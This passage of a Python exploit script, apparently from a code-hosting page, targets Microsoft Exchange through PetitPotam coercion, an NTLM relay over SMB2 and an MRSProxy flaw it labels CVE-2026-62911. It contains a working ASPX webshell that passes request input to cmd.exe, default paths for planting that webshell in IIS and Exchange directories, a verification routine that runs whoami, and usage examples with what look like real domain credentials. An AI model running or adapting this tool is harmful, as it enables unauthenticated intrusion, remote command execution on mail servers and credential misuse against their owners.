header += struct.pack("<I", 1) # Flags: response
|
||||
header += struct.pack("<I", 0) # Next command
|
||||
header += struct.pack("<Q", 1) # Message ID
|
||||
header += struct.pack("<I", 0) # Reserved
|
||||
header += struct.pack("<I", 0) # Tree ID
|
||||
header += struct.pack("<Q", 0x4141414141414141) # Session ID
|
||||
header += b"\x00" * 16 # Signature
|
||||
|
||||
body = struct.pack("<H", 9) # Structure size
|
||||
body += struct.pack("<H", 0) # Session flags
|
||||
body += struct.pack("<H", 64 + len(body) + 4) # Security offset
|
||||
body += struct.pack("<H", len(spnego)) # Security length
|
||||
|
||||
packet = header + body + spnego
|
||||
packet = struct.pack(">I", len(packet) - 4) + packet[4:]
|
||||
return packet
|
||||
|
||||
def _build_spnego_init(self):
|
||||
"""Build SPNEGO NegTokenInit offering NTLMSSP."""
|
||||
ntlmssp_oid = b"\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a" # 1.3.6.1.4.1.311.2.2.10
|
||||
mech_type = b"\x06" + bytes([len(ntlmssp_oid)]) + ntlmssp_oid
|
||||
mech_types = b"\x30" + bytes([len(mech_type)]) + mech_type
|
||||
seq = b"\xa0" + bytes([len(mech_types)]) + mech_types
|
||||
token = b"\x30" + bytes([len(seq)]) + seq
|
||||
# Application 0
|
||||
app = b"\x60" + self._der_length(len(token) + 8)
|
||||
app += b"\x06\x06\x2b\x06\x01\x05\x05\x02" # SPNEGO OID
|
||||
app += token
|
||||
return app
|
||||
|
||||
def _build_spnego_challenge(self, ntlm_challenge):
|
||||
"""Build SPNEGO NegTokenResp with NTLM Type 2 challenge."""
|
||||
# negState: accept-incomplete (1)
|
||||
neg_state = b"\xa0\x03\x0a\x01\x01"
|
||||
|
||||
# supportedMech: NTLMSSP
|
||||
ntlmssp_oid = b"\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"
|
||||
mech = b"\xa1" + bytes([len(ntlmssp_oid) + 2]) + b"\x06" + bytes([len(ntlmssp_oid)]) + ntlmssp_oid
|
||||
|
||||
# responseToken: NTLM Type 2
|
||||
resp_token = b"\xa2" + self._der_length(len(ntlm_challenge) + 2)
|
||||
resp_token += b"\x04" + self._der_length(len(ntlm_challenge))
|
||||
resp_token += ntlm_challenge
|
||||
|
||||
inner = neg_state + mech + resp_token
|
||||
token_resp = b"\xa1" + self._der_length(len(inner) + 2)
|
||||
token_resp += b"\x30" + self._der_length(len(inner))
|
||||
token_resp += inner
|
||||
return token_resp
|
||||
|
||||
def _extract_ntlm_from_smb2(self, data):
|
||||
"""Extract NTLM message from SMB2 Session Setup request."""
|
||||
# Find NTLMSSP signature
|
||||
idx = data.find(b"NTLMSSP\x00")
|
||||
if idx < 0:
|
||||
return None
|
||||
# NTLM message type
|
||||
msg_type = struct.unpack("<I", data[idx + 8:idx + 12])[0]
|
||||
log.debug(f"[RELAY] NTLM message type: {msg_type}")
|
||||
|
||||
# For a rough extraction, take from NTLMSSP to end of SPNEGO token
|
||||
# In practice, parse the SPNEGO wrapper properly
|
||||
# Heuristic: NTLM messages are typically < 4KB
|
||||
end = min(idx + 4096, len(data))
|
||||
# Find the actual NTLM message boundary
|
||||
if msg_type == 1: # Negotiate
|
||||
return data[idx:idx + 40] # Type 1 is typically short
|
||||
elif msg_type == 3: # Authenticate
|
||||
# Parse Type 3 length from its own fields
|
||||
return self._parse_ntlm_type3_bounds(data, idx)
|
||||
return data[idx:end]
|
||||
|
||||
def _parse_ntlm_type3_bounds(self, data, offset):
|
||||
"""Parse NTLM Type 3 message to determine its full length."""
|
||||
try:
|
||||
# LmChallengeResponse: offset 12, length at 12
|
||||
lm_len = struct.unpack("<H", data[offset + 12:offset + 14])[0]
|
||||
lm_off = struct.unpack("<I", data[offset + 16:offset + 20])[0]
|
||||
# NtChallengeResponse: offset 20
|
||||
nt_len = struct.unpack("<H", data[offset + 20:offset + 22])[0]
|
||||
nt_off = struct.unpack("<I", data[offset + 24:offset + 28])[0]
|
||||
# DomainName: offset 28
|
||||
dom_len = struct.unpack("<H", data[offset + 28:offset + 30])[0]
|
||||
dom_off = struct.unpack("<I", data[offset + 32:offset + 36])[0]
|
||||
# UserName: offset 36
|
||||
usr_len = struct.unpack("<H", data[offset + 36:offset + 38])[0]
|
||||
usr_off = struct.unpack("<I", data[offset + 40:offset + 44])[0]
|
||||
# Workstation: offset 44
|
||||
ws_len = struct.unpack("<H", data[offset + 44:offset + 46])[0]
|
||||
ws_off = struct.unpack("<I", data[offset + 48:offset + 52])[0]
|
||||
|
||||
# Find the maximum extent
|
||||
max_end = max(
|
||||
lm_off + lm_len, nt_off + nt_len,
|
||||
dom_off + dom_len, usr_off + usr_len,
|
||||
ws_off + ws_len, 88 # minimum header
|
||||
)
|
||||
return data[offset:offset + max_end]
|
||||
except Exception:
|
||||
return data[offset:offset + 2048]
|
||||
|
||||
@staticmethod
|
||||
def _der_length(length):
|
||||
"""Encode ASN.1 DER length."""
|
||||
if length < 0x80:
|
||||
return bytes([length])
|
||||
elif length < 0x100:
|
||||
return bytes([0x81, length])
|
||||
else:
|
||||
return bytes([0x82]) + struct.pack(">H", length)
|
||||
|
||||
def _handle_smb1_relay(self, client_sock, data):
|
||||
"""Fallback for SMB1 — same relay logic, different framing."""
|
||||
log.info("[RELAY] SMB1 relay not implemented — most modern Exchange uses SMB2+")
|
||||
log.info("[RELAY] Try running with --smb2-only flag")
|
||||
|
||||
|
||||
# ── ASPX Webshell Payloads ───────────────────────────────────────────────────
|
||||
|
||||
WEBSHELL_ASPX = """<%@ Page Language="C#" %>
|
||||
<%@ Import Namespace="System.Diagnostics" %>
|
||||
<%
|
||||
if (Request["cmd"] != null) {
|
||||
var p = new Process();
|
||||
p.StartInfo.FileName = "cmd.exe";
|
||||
p.StartInfo.Arguments = "/c " + Request["cmd"];
|
||||
p.StartInfo.UseShellExecute = false;
|
||||
p.StartInfo.RedirectStandardOutput = true;
|
||||
p.StartInfo.RedirectStandardError = true;
|
||||
p.Start();
|
||||
Response.Write("<pre>" + Server.HtmlEncode(p.StandardOutput.ReadToEnd()
|
||||
+ p.StandardError.ReadToEnd()) + "</pre>");
|
||||
p.WaitForExit();
|
||||
}
|
||||
%>"""
|
||||
|
||||
|
||||
# ── Default webshell write paths ─────────────────────────────────────────────
|
||||
|
||||
WEBSHELL_PATHS = [
|
||||
# IIS default client scripts (writable, web-accessible)
|
||||
r"C:\inetpub\wwwroot\aspnet_client\system_web\shell.aspx",
|
||||
r"C:\inetpub\wwwroot\aspnet_client\shell.aspx",
|
||||
# Exchange OWA directory
|
||||
r"C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\shell.aspx",
|
||||
# Exchange ECP directory
|
||||
r"C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\ecp\auth\shell.aspx",
|
||||
]
|
||||
|
||||
|
||||
# ── Webshell Verification ────────────────────────────────────────────────────
|
||||
|
||||
def verify_webshell(target_host, webshell_url, socks_proxy=None, socks_port=None):
|
||||
"""Verify webshell is accessible and execute whoami."""
|
||||
log.info(f"[VERIFY] Checking webshell at https://{target_host}{webshell_url}")
|
||||
|
||||
if socks_proxy:
|
||||
if HAS_SOCKS:
|
||||
socks.set_default_proxy(socks.SOCKS5, socks_proxy, socks_port or 10800)
|
||||
socket.socket = socks.socksocket
|
||||
|
||||
ctx = create_ssl_context()
|
||||
conn = http.client.HTTPSConnection(target_host, 443, timeout=30, context=ctx)
|
||||
try:
|
||||
test_url = f"{webshell_url}?cmd=whoami+/all"
|
||||
conn.request("GET", test_url, headers={"Host": target_host})
|
||||
resp = conn.getresponse()
|
||||
data = resp.read().decode("utf-8", errors="replace")
|
||||
if resp.status == 200 and ("nt authority" in data.lower() or "exchange" in data.lower()):
|
||||
log.info(f"[VERIFY] WEBSHELL ACTIVE — RCE confirmed!")
|
||||
log.info(f"[VERIFY] Output:\n{data[:1000]}")
|
||||
return True
|
||||
else:
|
||||
log.warning(f"[VERIFY] HTTP {resp.status} — webshell may not be active yet")
|
||||
return False
|
||||
except Exception as e:
|
||||
log.warning(f"[VERIFY] Could not reach webshell: {e}")
|
||||
return False
|
||||
finally:
|
||||
conn.close()
|
||||
|
||||
|
||||
# ── Main ─────────────────────────────────────────────────────────────────────
|
||||
|
||||
def main():
|
||||
banner = """
|
||||
╔═══════════════════════════════════════════════════════════╗
|
||||
║ CVE-2026-62911 — Exchange MRSProxy Pre-Auth RCE ║
|
||||
║ PetitPotam → NTLM Relay → ConfigPst → Webshell ║
|
||||
║ Zero credentials required ║
|
||||
╚═══════════════════════════════════════════════════════════╝
|
||||
"""
|
||||
print(banner)
|
||||
|
||||
parser = argparse.ArgumentParser(
|
||||
description="CVE-2026-62911 Exchange MRSProxy NTLM Relay to RCE",
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||
epilog="""
|
||||
Examples:
|
||||
# Basic usage (two Exchange servers)
|
||||
%(prog)s -t 192.168.1.10 -e 192.168.1.11 -l 192.168.1.100
|
||||
|
||||
# With AD credentials for PetitPotam trigger
|
||||
%(prog)s -t 192.168.1.10 -e 192.168.1.11 -l 192.168.1.100 \\
|
||||
-u annt02 -p 'Milk2026$' -d MIC.VN
|
||||
|
||||
# Through SOCKS proxy
|
||||
%(prog)s -t 192.168.1.10 -e 192.168.1.11 -l 192.168.1.100 \\
|
||||
--socks 127.0.0.1 --socks-port 10800
|
||||
|
||||
# Custom webshell path
|
||||
%(prog)s -t 192.168.1.10 -e 192.168.1.11 -l 192.168.1.100 \\
|
||||
--webshell-path 'C:\\inetpub\\wwwroot\\aspnet_client\\x.aspx'
|
||||
""",
|
||||
)
|
||||
|
||||
parser.add_argument("-t", "--target", required=True,
|
||||
help="Target Exchange server (relay destination, e.g. MBX05)")
|
||||
parser.add_argument("-e", "--trigger-exchange", required=True,
|
||||
help="Exchange server to trigger PetitPotam on (e.g. MBX03)")
|
||||
parser.add_argument("-l", "--listener", required=True,
|
||||
help="Listener IP (attacker — must be reachable from trigger server)")
|
||||
parser.add_argument("-lp", "--listener-port", type=int, default=445,
|
||||
help="Listener port for SMB relay (default: 445)")
|
||||
parser.add_argument("-u", "--username", default="",
|
||||
help="AD username for PetitPotam (optional — unauthenticated may work)")
|
||||
parser.add_argument("-p", "--password", default="",
|
||||
help="AD password")
|
||||
parser.add_argument("-d", "--domain", default="",
|
||||
help="AD domain")
|
||||
parser.add_argument("--target-port", type=int, default=443,
|
||||
help="Target HTTPS port (default: 443)")
|
||||
parser.add_argument("--webshell-path", default=WEBSHELL_PATHS[0],
|
||||
help=f"File write path on target (default: {WEBSHELL_PATHS[0]})")
|
||||
parser.add_argument("--webshell-url", default="/aspnet_client/system_web/shell.aspx",
|
||||
help="URL path to verify webshell")
|
||||
parser.add_argument("--socks", default=None,
|
||||
help="SOCKS5 proxy host")
|
||||
parser.add_argument("--socks-port", type=int, default=10800,
|
||||
help="SOCKS5 proxy port (default: 10800)")
|
||||
parser.add_argument("--check-only", action="store_true",
|
||||
help="Only check if MRSProxy endpoint is reachable")
|
||||
parser.add_argument("--verify-only", action="store_true",
|
||||
help="Only verify if webshell is already deployed")
|
||||
parser.add_argument("-v", "--verbose", action="store_true",
|
||||
help="Verbose output")
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
if args.verbose:
|
||||
logging.getLogger().setLevel(logging.DEBUG)
|
||||
|
||||
if not HAS_IMPACKET and not args.check_only and not args.verify_only:
|
||||
log.error("impacket is required. Install: pip install impacket")
|
||||
sys.exit(1)
|
||||
|
||||
# ── Check mode ──
|
||||
if args.check_only:
|
||||
log.info("Checking MRSProxy endpoint accessibility...")
|
||||
ctx = create_ssl_context()
|
||||
for host in [args.target, args.trigger_exchange]:
|
||||
try:
|
||||
conn = http.client.HTTPSConnection(host, args.target_port,
|
||||
timeout=10, context=ctx)
|
||||
conn.request("GET", MRSPROXY_PATH, headers={"Host": host})
|
||||
resp = conn.getresponse()
|
||||
resp.read()
|
||||
server = resp.getheader("Server", "?")
|
||||
www_auth = resp.getheader("WWW-Authenticate", "?")
|
||||
vulnerable = "Microsoft-HTTPAPI" in server and "Negotiate" in www_auth
|
||||
status = "VULNERABLE" if vulnerable else "not vulnerable"
|
||||
log.info(f" {host}: HTTP {resp.status} Server={server} [{status}]")
|
||||
conn.close()
|
||||
except Exception as e:
|
||||
log.error(f" {host}: ERROR — {e}")
|
||||
return
|
||||
|
||||
# ── Verify mode ──
|
||||
if args.verify_only:
|
||||
ok = verify_webshell(args.target, args.webshell_url,
|
||||
args.socks, args.socks_port)
|
||||
sys.exit(0 if ok else 1)
|
||||
|
||||
# ── Full exploit ──
|
||||
log.info(f"Target (relay to): {args.target}:{args.target_port}")
|
||||
log.info(f"Trigger (PetitPotam): {args.trigger_exchange}")
|
||||
log.info(f"Listener (our SMB): {args.listener}:{args.listener_port}")
|
||||
log.info(f"Webshell path: {args.webshell_path}")
|
||||
log.info("")
|
||||
|
||||
# Start relay server in background thread
|
||||
relay = NTLMRelayHandler(
|
||||
listen_host="0.0.0.0",
|
||||
listen_port=args.listener_port,
|
||||
target_host=args.target,
|
||||
target_port=args.target_port,
|
||||
webshell_path=args.webshell_path,
|
||||
)
|
||||
relay_thread = threading.Thread(target=relay.start, daemon=True)
|
||||
relay_thread.start()
|
||||
time.sleep(1)
|
||||
|
||||
# Trigger PetitPotam
|
||||
log.info("")
|
||||
trigger_petitpotam(
|
||||
trigger_host=args.trigger_exchange,
|
||||
listener_host=args.listener,
|
||||
listener_port=args.listener_port,
|
||||
username=args.username,
|
||||
password=args.password,
|
||||
domain=args.domain,
|
||||
socks_proxy=args.socks,
|
||||
socks_port=args.socks_port,
|
||||
)
|
||||
|
||||
# Wait for relay to complete
|
||||
log.info("[MAIN] Waiting for relay to complete (timeout: 120s)...")
|
||||
relay.relay_complete.wait(timeout=120)
|
||||
|
||||
if relay.success:
|
||||
log.info("")
|
||||
log.info("=" * 60)
|
||||
log.info(" EXPLOIT SUCCESSFUL — webshell written!")
|
||||
log.info(f" URL: https://{args.target}{args.webshell_url}?cmd=whoami")
|
||||
log.info("=" * 60)
|
||||
|
||||
# Verify
|
||||
time.sleep(2)
|
||||
verify_webshell(args.target, args.webshell_url,
|
||||
args.socks, args.socks_port)
|
||||
else:
|
||||
log.warning("[MAIN] Exploit did not complete successfully")
|
||||
log.info("Troubleshooting:")
|
||||
log.info(" 1. Verify both Exchange servers are reachable")
|
||||
log.info(" 2. Check if MRSProxy is enabled: Get-WebServicesVirtualDirectory | fl MRSProxy*")
|
||||
log.info(" 3. Try different webshell path (--webshell-path)")
|
||||
log.info(" 4. Check if port 445 is available on listener")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user